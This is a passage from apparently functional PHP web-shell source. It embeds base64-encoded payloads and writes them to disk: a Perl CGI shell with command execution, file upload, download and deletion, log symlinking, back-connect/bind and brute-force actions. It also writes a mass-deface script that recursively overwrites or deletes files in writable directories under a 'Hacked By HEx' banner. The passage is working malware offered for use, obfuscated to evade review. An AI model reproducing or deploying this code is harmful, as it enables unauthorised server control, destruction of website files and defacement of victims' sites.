LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsNCglteSBAcGF0aGxvZz0oDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KCQkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtdyAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsNCgkJCWlmKCZ0cmltKCRscykgZXEgIiIpDQoJCQl7DQoJCQkJaWYoLXIgJGxzKQ0KCQkJCXsNCgkJCQkJJHBlcm1zPSJPSyI7DQoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOw0KCQkJCX0NCgkJCX1lbHNlDQoJCQl7DQoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI+DQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nXyRpJykudmFsdWU9J2xlc3MgJyArIHRoaXMudmFsdWU7IiB2YWx1ZT0iJGxvZyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ+DQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZighKCRjaG1vZCBlcSAwKSkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7DQoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCEkcmVuYW1lIGVxICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KDQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==";\r\n\t$cgi = fopen($file_cgi, "w");\r\n\tfwrite($cgi, base64_decode($cgi_script));\r\n\tfwrite($htcgi, $isi_htcgi);\r\n\tchmod($file_cgi, 0755);\r\n        chmod($memeg, 0755);\r\n\techo "<br><center>Done ... <a href=\'hex_cgi/cgi.hex\' target=\'_blank\'>Click Here</a></div>";\r\n\thardFooter();\r\n}\r\n\r\n\r\n// Mass Deface Section Start\r\nfunction actionSql() {\r\n\thardHeader();\r\n\techo "<center><h1>Mass Tools</h1><div class=content><br>";\r\n\t@ini_set(\'display_errors\', 0);\r\n\t$cgi_dir = mkdir(\'hex_tools\', 0755);\r\n        chdir(\'hex_tools\');\r\n\t$file_mass = "mas.php";\r\n\t$mass_script = "PD9waHAgCkBpbmlfc2V0KCdlcnJvcl9sb2cnLCBOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLCAwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsIDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsIDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKZWNobyAiPGNlbnRlcj48Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCI+ICI7CmZ1bmN0aW9uIGVkaXRfZmlsZSgkZmlsZSwgJGluZGV4KSB7CiAgICBpZiAoaXNfd3JpdGFibGUoJGZpbGUpKSB7CiAgICAgICAgY2xlYXJfZmlsbCgkZmlsZSwgJGluZGV4KTsKICAgICAgICBlY2hvICI8U3BhbiBzdHlsZT0nY29sb3I6Z3JlZW47Jz48c3Ryb25nPiBbK10gRG9uZSAxMDAlIFN1Y2Nlc3NmdWxsIDwvc3Ryb25nPjwvc3Bhbj48YnI+PC9jZW50ZXI+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiPFNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPjxzdHJvbmc+IFstXSBGYWlsZWQgOiggPC9zdHJvbmc+PC9zcGFuPjxicj48L2NlbnRlcj4iOyAKICAgIH0KfSAKZnVuY3Rpb24gaGFwdXNfTWFzc2FsKCRkaXIsICRuYW1hZmlsZSkgewogICAgaWYgKGlzX3dyaXRhYmxlKCRkaXIpKSB7CiAgICAgICAgJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwogICAgICAgIGZvcmVhY2ggKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAgICAgICRkaXJjID0gIiRkaXIvJGRpcmIiOwogICAgICAgICAgICAkbG9rYXNpID0gJGRpcmMgLiAnLycgLiAkbmFtYWZpbGU7CiAgICAgICAgICAgIGlmICgkZGlyYiA9PT0gJy4nKSB7CiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoIiRkaXIvJG5hbWFmaWxlIikpIHsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmICgkZGlyYiA9PT0gJy4uJykgewogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCIiIC4gZGlybmFtZSgkZGlyKSAuICIvJG5hbWFmaWxlIikpIHsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIiIgLiBkaXJuYW1lKCRkaXIpIC4gIi8kbmFtYWZpbGUiKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGxva2FzaSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIls8Zm9udCBjb2xvcj1vcmFuZ2U+REVMRVRFRDwvZm9udD5dICRsb2thc2k8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVubGluaygkbG9rYXNpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBoYXB1c19NYXNzYWwoJGRpcmMsICRuYW1hZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KZnVuY3Rpb24gY2xlYXJfZmlsbCgkZmlsZSwgJGluZGV4KSB7CiAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCRmaWxlLCAndycpOwogICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAnJyk7CiAgICAgICAgZndyaXRlKCRoYW5kbGUsICRpbmRleCk7CiAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgfQp9CmZ1bmN0aW9uIGdhc3MoKSB7CiAgICBnbG9iYWwgJGRpcnIsICRpbmRleDsKICAgIGNoZGlyKCRkaXJyKTsKICAgICRtZSA9IHN0cl9yZXBsYWNlKGRpcm5hbWUoX19GSUxFX18pIC4gJy8nLCAnJywgX19GSUxFX18pOwogICAgJGZpbGVzID0gc2NhbmRpcigkZGlycik7CiAgICAkbm90YWxsb3cgPSBhcnJheSgiLmh0YWNjZXNzIiwgInd3dyIsICJXZWIuQ29uZmlnIiwgIlVNRC5waHAiLCAiV2ViLmNvbmZpZyIsICJ3ZWIuY29uZmlnIiwgIndlYi5Db25maWciLCAiLi4iLCAiLiIpOwogICAgc29ydCgkZmlsZXMpOwogICAgJG4gPSAwOwogICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CiAgICAgICAgaWYgKCRmaWxlICE9ICRtZSAmJiBpc19kaXIoJGZpbGUpICE9IDEgJiYgIWluX2FycmF5KCRmaWxlLCAkbm90YWxsb3cpKSB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PFNwYW4gc3R5bGU9J2NvbG9yOiAjOEE4QThBOyc+PHN0cm9uZz4kZGlyci88L3NwYW4+JGZpbGU8L3N0cm9uZz4gPT09PT4gIjsKICAgICAgICAgICAgZWRpdF9maWxlKCRmaWxlLCAkaW5kZXgpOwogICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAkbiA9ICRuICsgMTsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8YnI+IjsKICAgIGVjaG8gIjxjZW50ZXI+PGJyPjxoMz4kbiBGaWxlcyBEZWZhY2VkIDwvaDM+PC9jZW50ZXI+PGJyPiAiOwp9IApmdW5jdGlvbiBMaXN0RmlsZXMoJGRpcnJhbGwpIHsKICAgIGlmICgkZGggPSBvcGVuZGlyKCRkaXJyYWxsKSkgewogICAgICAgICRmaWxlcyA9IEFycmF5KCk7CiAgICAgICAgJGlubmVyX2ZpbGVzID0gQXJyYXkoKTsKICAgICAgICAkbWUgPSBzdHJfcmVwbGFjZShkaXJuYW1lKF9fRklMRV9fKSAuICcvJywgJycsIF9fRklMRV9fKTsKICAgICAgICAkbm90YWxsb3cgPSBhcnJheSgkbWUsICIuaHRhY2Nlc3MiLCAid3d3IiwgIldlYi5Db25maWciLCAiVU1ELnBocCIsICJXZWIuY29uZmlnIiwgIndlYi5jb25maWciLCAid2ViLkNvbmZpZyIpOwogICAgICAgIHdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewogICAgICAgICAgICBpZiAoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIgJiYgJGZpbGVbMF0gIT0gJy4nICYmICFpbl9hcnJheSgkZmlsZSwgJG5vdGFsbG93KSkgewogICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkZGlycmFsbCAuICIvIiAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICRpbm5lcl9maWxlcyA9IExpc3RGaWxlcygkZGlycmFsbCAuICIvIiAuICRmaWxlKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJGlubmVyX2ZpbGVzKSkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGZpbGVzLCAkaW5uZXJfZmlsZXMpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJGRpcnJhbGwgLiAiLyIgLiAkZmlsZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CmZ1bmN0aW9uIGdhc3NfYWxsKCkgewogICAgZ2xvYmFsICRpbmRleDsKICAgICRkaXJyYWxsID0gJF9QT1NUWydkX2RpciddOwogICAgZm9yZWFjaCAoTGlzdEZpbGVzKCRkaXJyYWxsKSBhcyAka2V5ID0+ICRmaWxlKSB7CiAgICAgICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnLy8nLCAiLyIsICRmaWxlKTsKICAgICAgICBlY2hvICI8Y2VudGVyPjxzdHJvbmc+JGZpbGU8L3N0cm9uZz4gPT09PiI7CiAgICAgICAgZWRpdF9maWxlKCRmaWxlLCAkaW5kZXgpOwogICAgICAgIGZsdXNoKCk7CiAgICB9CiAgICAka2V5ID0gJGtleSArIDE7CiAgICBlY2hvICI8Y2VudGVyPjxicj48aDM+JGtleSBGaWxlcyBEZWZhY2VkIDwvaDM+PC9jZW50ZXI+PGJyPiI7Cn0KZnVuY3Rpb24gc2FidW5fTWFzc2FsKCRkaXIsICRuYW1hZmlsZSwgJGlzaV9zY3JpcHQpIHsKICAgIGlmIChpc193cml0YWJsZSgkZGlyKSkgewogICAgICAgICRkaXJhID0gc2NhbmRpcigkZGlyKTsKICAgICAgICBmb3JlYWNoICgkZGlyYSBhcyAkZGlyYikgewogICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgJGxva2FzaSA9ICRkaXJjIC4gJy8nIC4gJG5hbWFmaWxlOwogICAgICAgICAgICBpZiAoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICB9IGVsc2VpZiAoJGRpcmIgPT09ICcuLicpIHsKICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1vcmFuZ2U+WyBET05FIF0gPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiAkbG9rYXNpPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBzYWJ1bl9NYXNzYWwoJGRpcmMsICRuYW1hZmlsZSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICAgICAgICAgIH0gIH0gfSAgfSB9Cn0gCmlmICgkX1BPU1RbJ01hc3MnXSA9PSAnb25lZGlyJykgewogICAgZWNobyAiPGJyPiBWZXJzaSBUZXh0IEFyZWE8YnI+PHRleHRhcmVhIHN0eWxlPSdiYWNrZ3JvdW5kOmJsYWNrO291dGxpbmU6bm9uZTtjb2xvcjpyZWQ7JyBuYW1lPSdpbmRleCcgcm93cz0nMTAnIGNvbHM9JzY3Jz4KIjsKICAgICRpbmkgPSAiaHR0cDovLyI7CiAgICAkbWFpbnBhdGggPSAkX1BPU1RbZF9kaXJdOwogICAgJGZpbGUgPSAkX1BPU1RbZF9maWxlXTsKICAgICRkaXIgPSBvcGVuZGlyKCIkbWFpbnBhdGgiKTsKICAgICRjb2RlID0gYmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CiAgICAkaW5keCA9IGJhc2U2NF9kZWNvZGUoJGNvZGUpOwogICAgd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiAgICAgICAgJHN0YXJ0ID0gQGZvcGVuKCIkcm93LyRmaWxlIiwgIncrIik7CiAgICAgICAgJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkaW5keCk7CiAgICAgICAgaWYgKCRmaW5pc2gpIHsKICAgICAgICAgICAgZWNobyAiJGluaSRyb3cvJGZpbGUKIjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8L3RleHRhcmVhPjxicj48YnI+PGJyPjxiPlZlcnNpIFRleHQ8L2I+PGJyPjxicj48YnI+CiI7CiAgICAkbWFpbnBhdGggPSAkX1BPU1RbZF9kaXJdOwogICAgJGZpbGUgPSAkX1BPU1RbZF9maWxlXTsKICAgICRkaXIgPSBvcGVuZGlyKCIkbWFpbnBhdGgiKTsKICAgICRjb2RlID0gYmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CiAgICAkaW5keCA9IGJhc2U2NF9kZWNvZGUoJGNvZGUpOwogICAgd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiAgICAgICAgJHN0YXJ0ID0gQGZvcGVuKCIkcm93LyRmaWxlIiwgIncrIik7CiAgICAgICAgJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkaW5keCk7CiAgICAgICAgaWYgKCRmaW5pc2gpIHsKICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iaHR0cDovLycgLiAkcm93IC4gJy8nIC4gJGZpbGUgLiAnIiB0YXJnZXQ9Il9ibGFuayI+aHR0cDovLycgLiAkcm93IC4gJy8nIC4gJGZpbGUgLiAnPC9hPjxicj4nOwogICAgICAgIH0KICAgIH0KfSBlbHNlaWYgKCRfUE9TVFsnTWFzcyddID09ICdzYWJ1bmthYmVoJykgewogICAgZ2FzcygpOwp9IGVsc2VpZiAoJF9QT1NUWydNYXNzJ10gPT0gJ2hhcHVzTWFzc2FsJykgewogICAgaGFwdXNfTWFzc2FsKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydkX2ZpbGUnXSk7Cn0gZWxzZWlmICgkX1BPU1RbJ01hc3MnXSA9PSAnc2FidW5tZW1hdGlrYW4nKSB7CiAgICBnYXNzX2FsbCgpOwp9IGVsc2VpZiAoJF9QT1NUWydNYXNzJ10gPT0gJ01hc3NkZWZhY2UnKSB7CiAgICBlY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7CiAgICBzYWJ1bl9NYXNzYWwoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsKICAgIGVjaG8gIjwvZGl2PiI7Cn0gZWxzZSB7CiAgICBlY2hvICI8Y2VudGVyPgkJPGZvbnQgZmFjZT0nSWNlbGFuZCcgY29sb3I9J29yYW5nZScgc2l6ZT0nMycgPlNlbGVjdCBUeXBlOjxicj48L2ZvbnQ+PHNlbGVjdCBjbGFzcz1cInNlbGVjdFwiIG5hbWU9XCJNYXNzXCIgIHN0eWxlPVwid2lkdGg6IDQ1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7IGNvbG9yOiNmZmZmZmZcIiBoZWlnaHQ9XCIxMFwiID48b3B0aW9uIHZhbHVlPVwib25lZGlyXCI+TWFzcyBEZWZhY2UgMSBEaXI8L29wdGlvbj4JPG9wdGlvbiB2YWx1ZT1cIk1hc3NkZWZhY2VcIj5NYXNzIERlZmFjZSBBTEwgRGlyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cInNhYnVua2FiZWhcIj5DdXJyZW50IERpciBBbGwgRmlsZXM8L29wdGlvbj4JPG9wdGlvbiB2YWx1ZT1cInNhYnVubWVtYXRpa2FuXCI+UmVwbGFjZSBFdmVyeXRoaW5nIFdpdGggRGVmYWNlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImhhcHVzTWFzc2FsXCI+TWFzcyBEZWxldGUgRmlsZXM8L29wdGlvbj48L2NlbnRlcj48L3NlbGVjdD48YnI+PGZvbnQgZmFjZT0nSWNlbGFuZCcgY29sb3I9J29yYW5nZScgc2l6ZT0nMycgPkZvbGRlcjo8L2ZvbnQ+PGJyPgk8aW5wdXQgbmFtZT0nZF9kaXInIHZhbHVlPSciLmdldGN3ZCgpLiInIHJlcXVpcmVkPScnIHR5cGU9J3RleHQnIHN0eWxlPSd3aWR0aDogNDUwcHg7IGJhY2tncm91bmQtY29sb3I6IzIwMjgzMjsgY29sb3I6I2ZmZmZmZicgaGVpZ2h0PScxMCc+PGJyPjxmb250IGZhY2U9J0ljZWxhbmQnIGNvbG9yPSdvcmFuZ2UnIHNpemU9JzMnID5GaWxlbmFtZTo8L2ZvbnQ+PGJyPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdpbmRleC5odG1sJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7IGNvbG9yOiNmZmZmZmYnIGhlaWdodD0nMTAnPjxicj48Zm9udCBmYWNlPSdJY2VsYW5kJyBjb2xvcj0nb3JhbmdlJyAgc2l6ZT0nMycgPkluZGV4IEZpbGU6PC9mb250Pjxicj4KCQoJPHRleHRhcmVhIG5hbWU9J3NjcmlwdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAyMDBweDsgYmFja2dyb3VuZC1jb2xvcjojMjAyODMyOyBjb2xvcjojZmZmZmZmICc+ICA8YnI+PGJyPjxicj48YnI+PGJyPjxjZW50ZXI+PGgxPiBIYWNrZWQgQnkgSEV4IDxicj4gUGFraXN0YW4gWmluZGFiYWQ8L2gxPjwvY2VudGVyPiAgPC90ZXh0YXJlYT48YnI+CgkKCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nTWFzcyBEZWZhY2UnIHN0eWxlPSd3aWR0aDogMjAwcHg7Jz48L2Zvcm0+PC9jZW50ZXI+PC9kaXY+IjsgfSAgPz4gCg==";\r\n\t$mass = fopen($file_mass, "w");\r\n\tfwrite($mass, base64_decode($mass_script));\r\n\techo "<br><center> <iframe src=\'hex_tools/mas.php\' width=\'800\' 